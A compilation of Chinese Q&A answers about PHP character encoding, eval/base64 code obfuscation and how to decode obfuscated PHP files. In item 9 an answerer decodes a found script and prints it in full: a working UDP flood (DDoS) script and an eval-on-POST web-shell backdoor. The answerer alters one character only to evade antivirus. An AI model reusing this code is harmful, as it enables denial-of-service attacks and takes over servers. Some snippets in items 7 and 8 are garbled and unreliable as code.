1. 求php解碼，感激不盡
立即扔，求我要都我都不要。
運行效率為負值。嚴重佔CPU，空間商絕對會封你的站。
------------------------
有何意義？
這樣的程序沒有運行效率。真正不影響運行的PHP代碼加密是Zend公司自己開發的Zend Guard加密，將PHP加密成為C擴展。直接運行。而你寫的這些代碼其實就是字元串的加密而已，然後使用eval函數來進行執行的，eval函數一般都是慎用的。
你粘貼這些處理一般人是無法知道他的解碼的，而且關鍵是這個程序的效率根本就是負值。
很多菜鳥PHP程序員最喜歡用這樣的去糊弄客戶。
======================
代碼編寫者知道解碼方法。
2. 什麼是PHP編碼
PHP程序設計中中文編碼問題曾經困擾很多人，導致這個問題的原因其實很簡單，每個國家(或區域)都規定了計算機信息交換用的字元編碼集，如美國的擴展ASCII碼,中國的GB2312-80，日本的JIS等。作為該國家/區域內信息處理的基礎，字元編碼集起著統一編碼的重要作用。字元編碼集按長度分為SBCS(單位元組字元集)，DBCS(雙位元組字元集)兩大類。早期的軟體(尤其是操作系統)，為了解決本地字元信息的計算機處理，出現了各種本地化版本(L10N)，為了區分，引進了LANG,Codepage等概念。但是由於各個本地字元集代碼范圍重疊，相互間信息交換困難;軟體各個本地化版本獨立維護成本較高。因此有必要將本地化工作中的共性抽取出來，作一致處理，將特別的本地化處理內容降低到最少。這也就是所謂的國際化(118N)。各種語言信息被進一步規范為Locale信息。處理的底層字元集變成了幾乎包含了所有字形的 Unicode。
現在大部分具有國際化特徵的軟體核心字元處理都是以Unicode為基礎的，在軟體運行時根據當時的ocale/Lang /Codepage設置確定相應的本地字元編碼設置，並依此處理本地字元。在處理過程中需要實現Unicode和本地字元集的相互轉換，甚或以 Unicode為中間的兩個不同本地字元集的相互轉換。這種方式在網路環境下被進一步延伸，任何網路兩端的字元信息也需要根據字元集的設置轉換成可接受的內容。
資料庫中的字元集編碼問題
流行的關系資料庫系統都支持資料庫字元集編碼，也就是說在創建資料庫時可以指定它自己的字元集設置，資料庫的數據以指定的編碼形式存儲。當應用程序訪問數據時，在入口和出口處都會有字元集編碼的轉換。對於中文數據，資料庫字元編碼的設置應當保證數據的完整性。GB2312、GBK、UTF-8等都是可選的資料庫字元集編碼;當然我們也可以選擇ISO8859-1(8-bit)，只是我們得在應
用程序寫數據之前先將16Bit的一個漢字或Unicode拆分成兩個8-bit的字元，讀數據之後也需要將兩個位元組合並起來，同時還要判別其中的SBCS 字元，因此我們並不推薦採用ISO8859-1作為資料庫字元集編碼。這樣不但沒有充分利用資料庫自身的字元集編碼支持，而且同時也增加了編程的復雜度。編程時，可以先用資料庫管理系統提供的管理功能檢查其中的中文數據是否正確。
PHP程序在查詢資料庫之前，首先執行 mysql_query("SETNAMESxxxx");其中xxxx是你網頁的編碼(charset=xxxx)，如果網頁中 charset=utf8，則xxxx=utf8，如果網頁中charset=gb2312，則xxxx=gb2312，幾乎所有WEB程序，都有一段連接資料庫的公共代碼，放在一個文件里，在這文件里，加入mysql_query("SETNAMESxxxx")就可以了。
SETNAMES 顯示客戶端發送的SQL語句中使用什麼字元集。因此，SETNAMES'utf-8'語句告訴伺服器「將來從這個客戶端傳來的信息採用字元集utf- 8」。它還為伺服器發送回客戶端的結果指定了字元集(例如，如果你使用一個SELECT語句，它表示列值使用了什麼字元集)。
定位問題時常用的技巧
定位中文編碼問題通常採用最笨的也是最有效的辦法―在你認為有嫌疑的程序處理後列印字元串的內碼。通過列印字元串的內碼，你可以發現什麼時候中文字元被轉換成Unicode，什麼時候Unicode被轉回中文內碼，什麼時候一個中文字成了兩個Unicode字元，什麼時候中文字元串被轉成了一串問號，什麼時候中文字元串的高位被截掉了……
取用合適的樣本字元串也有助於區分問題的類型。如："aa啊aa?@aa"等中英相間，GB、GBK特徵字元均有的字元串。一般來說，英文字元無論怎麼轉換或處理，都不會失真(如果遇到了，可以嘗試著增加連續的英文字母長度)。
解決各種應用的亂碼問題
1)使用標簽設置頁面編碼
這個標簽的作用是聲明客戶端的瀏覽器用什麼字元集編碼顯示該頁面，xxx可以為GB2312、GBK、UTF-8(和MySQL不同，MySQL是 UTF8)等等。因此，大部分頁面可以採用這種方式來告訴瀏覽器顯示這個頁面的時候採用什麼編碼，這樣才不會造成編碼錯誤而產生亂碼。但是有的時候我們會發現有了這句還是不行，不管xxx是哪一種，瀏覽器採用的始終都是一種編碼，這個情況我後面會談到。
請注意，是屬於HTML信息的，僅僅是一個聲明，僅表明伺服器已經把HTML信息傳到了瀏覽器。
2)header("content-type:text/html;charset=xxx");
這個函數header()的作用是把括弧裡面的信息發到http標頭。如果括弧裡面的內容為文中所說那樣，那作用和標簽基本相同，大家對照第一個看發現字元都差不多的。但是不同的是如果有這段函數，瀏覽器就會永遠採用你所要求的xxx編碼，絕對不會不聽話，因此這個函數是很有用的。為什麼會這樣呢?那就得說說http標頭和HTML信息的差別了：
http標頭是伺服器以http協議傳送HTML信息到瀏覽器前所送出的字串。而標簽是屬於 HTML信息的，所以header()發送的內容先到達瀏覽器，通俗點就是header()的優先順序高於(不知道可不可以這樣講)。假如一個php頁面既有header("content-type:text/html;charset=xxx")，又有，瀏覽器就只認前者http標頭而不認meta了。當然這個函數只能在php頁面內使用。
同樣也留有一個問題，為什麼前者就絕對起作用，而後者有時候就不行呢?這就是接下來要談的Apache的原因了。
3)AddDefaultCharset
Apache根目錄的conf文件夾里，有整個Apache的配置文檔httpd.conf。
用文本編輯器打開httpd.conf，第708行(不同版本可能不同)有AddDefaultCharsetxxx，xxx為編碼名稱。這行代碼的意思：設置整個伺服器內的網頁文件http標頭里的字元集為你默認的xxx字元集。有這行，就相當於給每個文件都加了一行header("content- type:text/html;charset=xxx")。這下就明白為什麼明明設置了是utf-8，可瀏覽器始終採用gb2312的原因。
如果網頁里有header("content-type:text/html;charset=xxx")，就把默認的字元集改為你設置的字元集，所以這個函數永遠有用。如果把AddDefaultCharsetxxx前面加個"#"，注釋掉這句，而且頁面里不含header("content- type…")，那這個時候就輪到meta標簽起作用了。
下面列出以上的優先順序：
..header("content-type:text/html;charset=xxx")
..AddDefaultCharsetxxx
..
如果你是web程序員，建議給你的每個頁面都加個header("content-type:text/html;charset=xxx")，這樣就可以保證它在任何伺服器都能正確顯示，可移植性也比較強。
4)php.ini中的default_charset配置：
php.ini中的default_charset="gb2312"定義了php的默認語言字元集。一般推薦注釋掉此行，讓瀏覽器根據網頁頭中的charset來自動選擇語言而非做一個強制性的規定，這樣就可以在同台伺服器上提供多種語言的網頁服務。
結束語 參考：http://wsiyu.com/read.php?tid=1561
其實php開發中的中文編碼並沒有想像的那麼復雜，雖然定位和解決問題沒有定規，各種運行環境也各不盡然，但後面的原理是一樣的。了解字元集的知識是解決字元問題的基礎。不過，隨著中文字元集的變化，不僅僅是php編程，中文信息處理中的問題還是會存在一段時間的。
3. PHP解碼url編碼問題
用php函數進行轉換。iconv 或mb_convert_encoding
4. php源碼怎麼加密
一、無需任何PHP擴展的加密
此類加密的代表有 威盾PHP加密專家、PHP在線加密平台、PHP神盾 等。
此類加密都是以eval函數為核心，輔以各式各樣的字元串混淆和各種小技巧，來達到加密目的（更准確的說，應該算是混淆）。下面以一個簡單的hello world為例來說明此類加密的大體過程。
<?php
echo "hello world";
首先 ，我們把這段代碼變為通過eval執行的
<?php
eval('echo "hello world";');
然後 ，我們再進行一些轉換，比如說base64編碼
<?php
eval(base64_decode('ZWNobyAiaGVsbG8gd29ybGQiOw=='));
就這樣子，我們的第一個加密過的php代碼新鮮出爐了。。。
上面這個例子非常非常簡單，基本上任何有一點php語言基礎甚至別的語言基礎的人都能輕松的看懂並解密。因此，我們需要一些方法讓這個加密至少看上去不是那麼簡單。
二、同時採用多種編碼函數
除了剛才提到的base64，php還有許多內置的編碼函數，例如urlencode、gzcompress等。把這些函數混合使用可以提高解密的復雜度（不是難度），此外還可以使用strtr來制定自己的編碼規則。 使用變數來代替函數名 使用特定字元來命名變數
這兒所說的特定字元是一些極其相似的字元，如I和1，0和O。試想一下滿屏都是O和0組成的變數，並且每一個的名字長度都在10個字元以上。。。 判斷文件自身是否被修改
這個功能看似容易，對文件做一下摘要再進行下對比即可知道是否被修改了，但是如何才能在文件內把摘要嵌入進去呢？我沒有找到完美的方案，但一個變通的方案還是很容易的。。。
<?php
$code = substr(file_get_contents(__FILE__), 0, -32);
$hash = substr(file_get_contents(__FILE__), -32);
if (md5($code) !== $hash) {
exit('file edited');
}
當然，你可以把這個校驗字元串放在別的位置來提高破解的難度。有了這個，別人想破解你的程序可就得多費一點功夫了。。。
既然知道了原理，那解密自然也就非常簡單了，總體來說就三步：
把eval替換為輸出，比如echo 根據編碼規則把字元串還原 如果文件未解密完全，從第一步開始繼續
當然，實際上的解密過程並沒有這么簡單，比如說如果加密的時候使用了gzcompress，那得到的數據將會包含一些二進制數據，而採用一般的文本編輯器打開時這些數據都會顯示為亂碼，並且在保存時丟失部分數據。解決方法很簡單也很麻煩，那就是使用二進制（16進制）方式打開、修改和保存。
5. 解密-php文件$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%
urldecode是地址欄編碼方式，就是用百分號加上每個字元的十六進制值。解碼很簡單，可以使用javascript的unescape()來解碼。如：
alert(unescape("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70"));//解碼成明文再彈出來顯示。在你提問的PHP代碼中也可以直接在後面加一句輸出顯示的代碼即可看到解碼後的內容：
echo$O00OO0;
6. php怎麼對已編碼的url字元串進行解碼
如果直接使用base64_encode和base64_decode方法的話，生成的字元串可能不適用URL地址。下面的方法可以解決該問題：
URL安全的字元串編碼：
復制代碼
代碼如下:
function urlsafe_b64encode($string) {
$data = base64_encode($string);
$data =
str_replace(array('+','/','='),array('-','_',''),$data);
return
$data;
}
URL安全的字元串解碼：
復制代碼
代碼如下:
function urlsafe_b64decode($string) {
$data = str_replace(array('-','_'),array('+','/'),$string);
$mod4 =
strlen($data) % 4;
if ($mod4) {
$data .= substr('====',
$mod4);
}
return base64_decode($data);
}
7. 解密PHP混淆代碼，求解碼(過程)完整方法。。
不知道你給的代碼全不全,解密後只有這一段
<?php
$v000000=;
if(preg_match(O0O0000O0('.'),$v000002[1],$v000003))
{
$v000000=str_replace(O0O0000O0(',,$y[0]);
$content=str_replace('),,$v000000);
$v000000=base64_decode($v000000);
}
?>
8. PHP解密 eval( base64_decode
這兩個函數在php中是用得對php代碼進行加密與解密碼的base64_encode是加密，爾base64_decode是解密了，下面我們看兩個簡單實例。
base64_encode語法: string base64_decode(string data);
*/
$str='='; //定義字元串
echo base64_decode($str); //www.111cn.net一聚教程網 //輸出解碼後的內容/*
base64_encode語法: string base64_encode(string data);
*/
$str='www.111cn.net一聚教程網'; //定義字元串
echo base64_encode($str); // = //輸出編碼後的內容
看一下這個會不會對你有幫助。
9. 求解密~PHP文件中出現的一段加密代碼。
代碼一共被加密5次：
解密後到頁面來竟然被 NOD32給報毒了 - -！ 所以我把倒數第二行的 POST中的字母O改為了數字0。
這個是伺服器被加了向傳入ip的泛洪攻擊，地址：ip，埠：port，次數：time 。
順便還加了一個後門，post：ddos。
你伺服器成肉雞了？
下面是php代碼。
?><?php
$packets = 0;
$ip = $_GET['ip'];
$rand = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "Flooded: $ip on port $rand <br><br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>
<?php eval($_P0ST[ddos])?>
<?
10. 求高手php解碼 <php eval(base64_decode
說實話 這個確實比較bt 我也懶的全部搞完 分析一下
這個是有3段base64編碼的字元串需要解碼 前兩個簡單 後一個需要替換再解碼再替換
第一次替換字元串 在第二段解碼裡面
第二次替換字元串 在第一段解碼裡面
第一眼看這個是跟paypal ipn有關的
首先 $str = base64_decode('');
這個會得到許多函數名 被他賦值給了一堆變數名相似的變數
這個會在後面用到
然後 base64_decode 第二段 會得到替換字元串
$s = strtr($s, '/+3=', '+/');
$s是指最後一段base64編碼的字元串
然後 base64_decode($s);
oh my god
竟然是一個函數文件。。。
然後你會發現有一堆IIIIIll在裡面 就用最上面那些去替換..
要想完全破解 還是 很需要一點耐心和細心的
我是沒那個耐心